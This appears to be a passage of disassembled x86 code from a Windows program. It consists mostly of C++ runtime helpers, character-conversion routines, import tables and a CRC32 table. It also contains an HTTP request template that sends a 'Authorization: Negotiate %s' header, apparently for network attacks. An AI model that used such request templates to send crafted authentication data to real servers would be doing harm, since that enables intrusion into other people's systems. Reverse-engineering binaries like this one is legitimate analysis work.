loc_42677C: ; DATA XREF: ___:off_427D38o
push esi
mov esi, ecx
call sub_42681F
test byte ptr [esp+8], 1
jz short loc_426792
push esi
call sub_41D3EF
pop ecx
loc_426792: ; CODE XREF: ___:00426789j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_426798 proc near ; CODE XREF: sub_4263DE+1Dp
; sub_4264B0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D38
push dword ptr [edi]
call sub_41B960
inc eax
push eax
call sub_41D735
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4267C7
push dword ptr [edi]
push eax
call sub_41C620
pop ecx
pop ecx
loc_4267C7: ; CODE XREF: sub_426798+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_426798 endp
; =============== S U B R O U T I N E =======================================
sub_4267D5 proc near ; CODE XREF: sub_4264F8+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D38
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426812
push dword ptr [edi+4]
call sub_41B960
inc eax
push eax
call sub_41D735
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_426818
push dword ptr [edi+4]
push eax
call sub_41C620
pop ecx
pop ecx
jmp short loc_426818
; ---------------------------------------------------------------------------
loc_426812: ; CODE XREF: sub_4267D5+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_426818: ; CODE XREF: sub_4267D5+2Ej
; sub_4267D5+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_4267D5 endp
; =============== S U B R O U T I N E =======================================
sub_42681F proc near ; CODE XREF: sub_42639A+16j
; ___:0042677Fp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D38
jz short locret_426834
push dword ptr [ecx+4]
call sub_41D3EF
pop ecx
locret_426834: ; CODE XREF: sub_42681F+Aj
retn
sub_42681F endp
; =============== S U B R O U T I N E =======================================
sub_426835 proc near ; DATA XREF: ___:00427D3Co
mov eax, [ecx+4]
test eax, eax
jnz short locret_426841
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426841: ; CODE XREF: sub_426835+5j
retn
sub_426835 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426842 proc near ; CODE XREF: sub_426453+37p
; sub_42657A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D58
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 264135Bh
pop edi
pop esi
leave
retn 8
sub_426842 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42687C proc near ; CODE XREF: sub_4266CB+56p
; sub_4266CB+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_42688E
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_42688E: ; CODE XREF: sub_42687C+Bj
cmp dword_4D97D0, 0
jnz short loc_4268A8
cmp ax, 41h
jb short locret_4268EF
cmp ax, 5Ah
ja short locret_4268EF
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4268A8: ; CODE XREF: sub_42687C+19j
cmp ax, 100h
jnb short loc_4268C2
push 1
push eax
call sub_426B2A
pop ecx
test eax, eax
pop ecx
jnz short loc_4268C2
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_4268C2: ; CODE XREF: sub_42687C+30j
; sub_42687C+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4D97D0
call sub_4268F1
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_4268EF
mov ax, [ebp+var_2]
locret_4268EF: ; CODE XREF: sub_42687C+1Fj
; sub_42687C+25j ...
leave
retn
sub_42687C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268F1 proc near ; CODE XREF: sub_42687C+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D78
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4D9A24, esi
jnz short loc_426967
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427908
mov edi, 100h
push edi
push esi
call near ptr 2630000h
nop
test eax, eax
jz short loc_426945
mov dword_4D9A24, ebx
jmp short loc_426967
; ---------------------------------------------------------------------------
loc_426945: ; CODE XREF: sub_4268F1+4Aj
push esi
push esi
push ebx
push offset word_4C91BC
push edi
push esi
nop
call near ptr 2640000h
test eax, eax
jz loc_426AE6
mov dword_4D9A24, 2
loc_426967: ; CODE XREF: sub_4268F1+2Ej
; sub_4268F1+52j
cmp [ebp+arg_C], esi
jle short loc_42697C
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426AFA
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_42697C: ; CODE XREF: sub_4268F1+79j
mov eax, dword_4D9A24
cmp eax, 1
jnz short loc_4269A3
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2630000h
nop
jmp loc_426AE8
; ---------------------------------------------------------------------------
loc_4269A3: ; CODE XREF: sub_4268F1+93j
cmp eax, 2
jnz loc_426AE6
cmp [ebp+arg_18], esi
jnz short loc_4269B9
mov eax, dword_4D97E0
mov [ebp+arg_18], eax
loc_4269B9: ; CODE XREF: sub_4268F1+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 28310EEh
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426AE6
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_4269FF
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_4269FF: ; CODE XREF: sub_4268F1+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426AE6
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 28310EEh
nop
test eax, eax
jz loc_426AE6
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426AE6
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426A82
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426A82: ; CODE XREF: sub_4268F1+17Dj
cmp ebx, esi
jz short loc_426AE6
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
test eax, eax
jz short loc_426AE6
test byte ptr [ebp+arg_4+1], 4
jz short loc_426AC0
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426AE2
cmp eax, edi
jl short loc_426AB1
mov eax, edi
loc_426AB1: ; CODE XREF: sub_4268F1+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BD70
add esp, 0Ch
jmp short loc_426AE2
; ---------------------------------------------------------------------------
loc_426AC0: ; CODE XREF: sub_4268F1+1B1j
cmp [ebp+arg_14], esi
jnz short loc_426AC9
push esi
push esi
jmp short loc_426ACF
; ---------------------------------------------------------------------------
loc_426AC9: ; CODE XREF: sub_4268F1+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426ACF: ; CODE XREF: sub_4268F1+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call near ptr 2700000h
nop
mov edi, eax
cmp edi, esi
jz short loc_426AE6
loc_426AE2: ; CODE XREF: sub_4268F1+1B8j
; sub_4268F1+1CDj
mov eax, edi
jmp short loc_426AE8
; ---------------------------------------------------------------------------
loc_426AE6: ; CODE XREF: sub_4268F1+66j
; sub_4268F1+B5j ...
xor eax, eax
loc_426AE8: ; CODE XREF: sub_4268F1+ADj
; sub_4268F1+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4268F1 endp
; =============== S U B R O U T I N E =======================================
sub_426AFA proc near ; CODE XREF: sub_4268F1+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426B19
loc_426B0A: ; CODE XREF: sub_426AFA+1Dj
cmp word ptr [eax], 0
jz short loc_426B19
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426B0A
loc_426B19: ; CODE XREF: sub_426AFA+Ej
; sub_426AFA+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426B27
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426B27: ; CODE XREF: sub_426AFA+24j
mov eax, edx
retn
sub_426AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B2A proc near ; CODE XREF: sub_42687C+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426B6A
cmp [ebp+arg_0], 100h
jnb short loc_426B4E
movzx eax, [ebp+arg_0]
mov ecx, off_43A684
mov ax, [ecx+eax*2]
jmp short loc_426B71
; ---------------------------------------------------------------------------
loc_426B4E: ; CODE XREF: sub_426B2A+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426B7C
add esp, 18h
test eax, eax
jnz short loc_426B6E
loc_426B6A: ; CODE XREF: sub_426B2A+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426B6E: ; CODE XREF: sub_426B2A+3Ej
mov eax, [ebp+var_4]
loc_426B71: ; CODE XREF: sub_426B2A+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426B2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B7C proc near ; CODE XREF: sub_426B2A+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D90
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4D9A28
xor edi, edi
cmp eax, edi
jnz short loc_426BEB
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427908
push esi
call near ptr 260055Fh
nop
test eax, eax
jz short loc_426BC9
mov eax, esi
jmp short loc_426BE6
; ---------------------------------------------------------------------------
loc_426BC9: ; CODE XREF: sub_426B7C+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4C91BC
push esi
push edi
nop
call near ptr 2610000h
test eax, eax
jz loc_426D2D
push 2
pop eax
loc_426BE6: ; CODE XREF: sub_426B7C+4Bj
mov dword_4D9A28, eax
loc_426BEB: ; CODE XREF: sub_426B7C+2Fj
cmp eax, 1
jnz short loc_426C07
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 260055Fh
jmp loc_426D2F
; ---------------------------------------------------------------------------
loc_426C07: ; CODE XREF: sub_426B7C+72j
cmp eax, 2
jnz loc_426D2D
cmp [ebp+arg_10], edi
jnz short loc_426C1D
mov eax, dword_4D97E0
mov [ebp+arg_10], eax
loc_426C1D: ; CODE XREF: sub_426B7C+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call near ptr 28310EEh
nop
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426D2D
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BD10
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426C7B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426C7B: ; CODE XREF: sub_426B7C+EAj
cmp [ebp+var_2C], edi
jz loc_426D2D
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call near ptr 28310EEh
nop
test eax, eax
jz loc_426D2D
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426CD0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426CD0: ; CODE XREF: sub_426B7C+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426D2D
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426CE4
mov eax, dword_4D97D0
loc_426CE4: ; CODE XREF: sub_426B7C+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 2610000h
nop
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426D2D
cmp word ptr [esi], 0FFFFh
jnz short loc_426D2D
push edi
push ebx
push [ebp+arg_C]
call sub_41D400
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426D2F
; ---------------------------------------------------------------------------
loc_426D2D: ; CODE XREF: sub_426B7C+61j
; sub_426B7C+8Ej ...
xor eax, eax
loc_426D2F: ; CODE XREF: sub_426B7C+86j
; sub_426B7C+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426B7C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426D44 proc near ; DATA XREF: ___:00427F44o
; FUNCTION CHUNK AT 0040D75D SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D75D
sub_426D44 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426D62
mov ecx, [ebp+8]
jmp loc_40D75D
; ---------------------------------------------------------------------------
locret_426D62: ; CODE XREF: ___:00426D54j
retn
; ---------------------------------------------------------------------------
loc_426D63: ; DATA XREF: sub_40D327o
mov eax, offset dword_427F18
jmp loc_41D08B
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_40D75D
; ---------------------------------------------------------------------------
loc_426D78: ; DATA XREF: ___:00427F74o
lea ecx, [ebp-1Ch]
jmp loc_40D75D
; ---------------------------------------------------------------------------
loc_426D80: ; DATA XREF: sub_40D4C9o
mov eax, offset dword_427F48
jmp loc_41D08B
; ---------------------------------------------------------------------------
align 4
loc_426D8C: ; DATA XREF: sub_40DA40o
mov eax, offset dword_427F78
jmp loc_41D08B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_42681F
; ---------------------------------------------------------------------------
loc_426D9E: ; DATA XREF: sub_4263DEo
mov eax, offset dword_427FD8
jmp loc_41D08B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D75D
; ---------------------------------------------------------------------------
loc_426DB0: ; DATA XREF: sub_426453o
mov eax, offset dword_428070
jmp loc_41D08B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_42681F
; ---------------------------------------------------------------------------
loc_426DC2: ; DATA XREF: sub_4264B0o
mov eax, offset dword_428094
jmp loc_41D08B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_42681F
; ---------------------------------------------------------------------------
loc_426DD4: ; DATA XREF: sub_4264F8o
mov eax, offset dword_4280B8
jmp loc_41D08B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D75D
; ---------------------------------------------------------------------------
loc_426DE6: ; DATA XREF: sub_42657Ao
mov eax, offset dword_428118
jmp loc_41D08B
; ---------------------------------------------------------------------------
dd 84h dup(0)
dd 25C0000h, 25D0000h, 25E0000h, 25E05FEh, 25F0000h, 25F0AEDh
dd 2600000h, 2600506h, 260055Fh, 2610000h, 26107CAh, 2610C72h
dd 2620000h, 26207DDh, 26209AEh
dword_42703C dd 26209CCh ; DATA XREF: ___:004230E1r
dd 2620A7Eh, 2620C55h, 2620C88h, 2620D63h, 2630000h, 2640000h
dd 264100Eh, 264135Bh, 2641986h, 26419ABh, 2650000h, 265071Ah
dd 2650B77h, 77E75CB5h
dword_427078 dd 2660000h ; DATA XREF: sub_40111D+B8r
; ___:004014F9r ...
dd 26603BDh, 2670000h, 2680000h
dword_427088 dd 268051Bh ; DATA XREF: sub_40111D+29r
; sub_40C3D3+2E5r ...
dword_42708C dd 26805C5h ; DATA XREF: ___:004015DCr
; sub_411694+32r
dd 26807FFh
dword_427094 dd 2680883h ; DATA XREF: sub_419BAA+B9r
dd 2680D91h
dword_42709C dd 2680DCDh ; DATA XREF: sub_4119B7:loc_411A48r
dword_4270A0 dd 2690000h ; DATA XREF: ___:loc_4013D9r
dd 2690408h, 269058Ah
dword_4270AC dd 26906BCh ; DATA XREF: sub_4098FD+2r
dd 2690830h, 26A0000h
dword_4270B8 dd 26A0729h ; DATA XREF: ___:0040124Dr
; sub_41A9BC+8Cr
dword_4270BC dd 26A07C0h ; DATA XREF: sub_411694:loc_411780r
dd 26B0000h, 26B0B7Eh
dword_4270C8 dd 26B0C73h ; DATA XREF: sub_4098FD:loc_409E0Br
dword_4270CC dd 26C0000h ; DATA XREF: sub_4098FD+11r
; sub_417269+60r ...
dd 26D0000h, 26E0000h, 26E0636h, 26F0000h, 77F7E300h, 77F7E21Fh
dd 26F05B2h, 26F0716h
dword_4270F0 dd 2700000h ; DATA XREF: sub_419134+Fr
; sub_41DFD4+54r ...
dword_4270F4 dd 2710000h ; DATA XREF: sub_4119B7+Br
dd 2720000h, 2730000h
dword_427100 dd 27306D8h ; DATA XREF: sub_418791+36r
dd 27309E0h, 2730D36h, 2740000h
dword_427110 dd 2740594h ; DATA XREF: sub_4118DE+3Ar
; sub_41A152+79r
dword_427114 dd 2750000h ; DATA XREF: sub_4117E5+23r
; sub_41A152+3Br
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 14h, 75h, 2
dd 2760000h, 2760AD0h, 2770000h, 2770503h, 2780000h, 2790000h
dd 2791104h, 2791C50h, 27A0000h, 27A007Bh, 27A018Bh, 27A0486h
dd 27B0000h, 27B0737h
dword_427154 dd 27C0000h ; DATA XREF: sub_417269+BCr
dd 27C0620h
dword_42715C dd 27D0000h ; DATA XREF: sub_41743B+21r
; sub_4175C4+4Ar
dword_427160 dd 27D08F7h ; DATA XREF: sub_41743B+10r
; sub_4175C4+40r ...
dd 27D095Eh
dword_427168 dd 27D0BA6h ; DATA XREF: sub_4175C4+56r
dd 27E0000h, 27F0000h, 2800000h, 28005BFh, 2800B44h, 2810000h
dd 281012Ah, 281070Dh, 2820000h, 2830000h
dword_427194 dd 28310EEh ; DATA XREF: sub_419062+13r
; ___:00423156r ...
dd 2840000h, 28404DFh, 2840987h, 2850000h, 2860000h, 2870000h
dd 28721CCh, 2880000h, 2890000h, 28A0000h, 28A1A62h, 28A1AAAh
dd 28A1C3Fh, 28B0000h
dword_4271D0 dd 28B0518h ; DATA XREF: sub_41E4A2+23Fr
align 8
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_4131AA+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5A01h, 71AB868Dh, 71AB12F8h, 71AB1746h
dd 71AB3E5Dh
dword_427214 dd 71AB5690h ; DATA XREF: sub_40E9CB+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 71AB5DE2h, 0
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638 dd 2Eh ; DATA XREF: sub_401AC7+3448o
; sub_401AC7+3527o ...
dword_42763C dd 2Eh ; DATA XREF: sub_401AC7+3857o
; sub_401AC7+3897o ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4C9+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2DB+2Fr
dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2DB+15r
dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D327+16Fr
; sub_40D765r ...
align 8
dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D327+79r
dword_4276A0 dd 0 ; DATA XREF: sub_40D4C9+4Do
; sub_40D815+5Bo ...
flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040E71Cr
dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:00416A11r
; ___:00416A2Cr ...
dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417E35+3E5r
dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417E35+3C5r
dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417E35+342r
; sub_417E35+3A7r
dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417E35+271r
dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417E35+24Br
; sub_417E35+2D5r ...
dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417E35+E1r
dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417E35+AEr
; sub_417E35+138r ...
dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417E35+93r
; sub_417E35+308r
dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417E35+21r
dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418B82+2Br
flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A9BC+1AEr
